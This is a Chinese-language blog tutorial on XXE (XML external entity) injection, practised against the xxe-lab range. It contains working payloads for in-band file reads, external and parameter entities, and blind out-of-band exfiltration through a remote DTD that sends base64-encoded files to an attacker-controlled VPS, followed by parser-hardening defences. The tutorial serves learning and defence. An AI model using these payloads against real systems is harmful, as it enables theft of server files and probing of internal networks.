当前位置:   article > 正文

XXE - XML外部实体注入攻击_java xxe(xml)外部实体攻击

java xxe(xml)外部实体攻击

XXE漏洞是什么?

xxe(xml External Entity attack),在可以解析XML语言的地方,攻击者提交恶意的XML代码并被执行后,获取服务器中本应被保护的数据。对于XXE漏洞最为关键的部分是DTD文档类型,DTD 的做用是定义 XML 文档的合法构建模块。当容许引用外部实体时,经过恶意构造,能够致使任意文件读取、执行系统命令、探测内网端口、攻击内网网站等危害。DTD 能够在 XML 文档内声明,也能够外部引用;

XXE漏洞的原理

漏洞的根本原因是对非安全的外部实体进行解析处理导致的。常见的编程语言如PHP、JAVA、Python、.Net等使用不当均可能存在XXE漏洞。

  • php xxe

php xxe的漏洞根源在于libxml扩展库上。在低版本的libxml库(<=2.8)中,默认情况下未禁用外部实体的加载。当web因公使用xml进行数据传输,而后端未做任何安全处理直接解析xml数据就会导致xxe漏洞的产生。

  • java xxe

如 XMLReader、ValidatorSample、TransformerFactory、SAXParseFactory等第三方库。在默认情况下都未禁用外部DTD,当应用程序直接使用这些类解析XML而不做任何安全处理时将会导致xxe漏洞。

XXE漏洞的危害

  • 远程文件读取
  • 命令执行
  • 内网端口扫描
  • 攻击内网网站
  • dos攻击
  • ……

XXE漏洞的分类及利用

练习靶场:

GitHub - c0ny1/xxe-lab: 一个包含php,java,python,C#等各种语言版本的XXE漏洞Demo

靶机:192.168.77.130

VPS:192.168.77.155

回显xxe:

(1)引用内部实体

payload:

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE admin[
  3. <!ENTITY admin SYSTEM "file:///C:/Windows/win.ini">
  4. ]>
  5. <user><username>&admin;</username><password>admin</password></user>

利用Burpsuite抓包

构建xxe攻击payload,读取靶机上的C:/Windows/win.ini文件

(2)引用外部实体

payload:

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE admin[
  3. <!ENTITY admin SYSTEM "http://192.168.77.155/1.dtd">
  4. ]>
  5. <user><username>&admin;</username><password>admin</password></user>

利用burpsuite抓包,并构建payload读取vps机器上的文件内容

1.dtd文件

(3)参数实体

参数实体讲解:

  1. # f.txt
  2. <!ENTITY % msg "<!ENTITY msg2  'test dtd 111'>">
  3. <?xml version="1.0"?>
  4. <!DOCTYPE admin[
  5. <!ENTITY % msg1 SYSTEM "http://192.168.77.155/f.txt">
  6. %msg1;
  7. %msg;
  8. ]>
  9. <user><username>&msg2;</username><password>admin</password></user>

类似套娃,先是msg1访问后,执行http服务访问f.txt,再者参数实体msg访问f.txt中的参数实体,然后套中套,有个msg2,最后在外部实体中访问msg2即可成功。

利用靶场验证如下:

非回显型XXE

利用方式1:

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE ANY[
  3. <!ENTITY % remote SYSTEM "http://192.168.77.155/2.dtd">
  4. %remote;
  5. %all;
  6. ]>
  7. <user><username>&send;</username><password>admin</password></user>

192.168.77.155/2.dtd

  1. <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=C:/1.txt">
  2. <!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.77.155/?content=%file;'>">

利用靶场实践如下:

1)构建payload并执行

2)查看vps上的access.log日志:

3)base64在线解码

利用方式2

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE aa[
  3. <!ENTITY % remote SYSTEM "http://vps/2.dtd">
  4. %remote;
  5. %all;
  6. %send;
  7. ]>

vps/2.dtd

  1. <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=C:/1.txt">
  2. <!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://vps/?content=%file;'>">

XXE漏洞的防御

  1. 确定使用到的第三方xml解析库版本,及时升级新版本。
  2. 升级PHP、JDK版本
  3. 在对xml解析时,禁止外部实体的引用,如
  1. libxml_disable_entity_loader(true)
  2. dbFactory.setFeature(“http://apache.org/xml/features/disallow-doctype-decl”, true)
  3. dbFactory.setFeature(“http://xml.org/sax/features/external-general-entities”, false)
  4. dbFactory.setFeature(“http://xml.org/sax/features/external-parameter-entities”, false)
  5. ……

另外,可以在菜鸟教程(runoob.com)上学习XML和DTD

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/2023面试高手/article/detail/682119
推荐阅读
相关标签
  

闽ICP备14008679号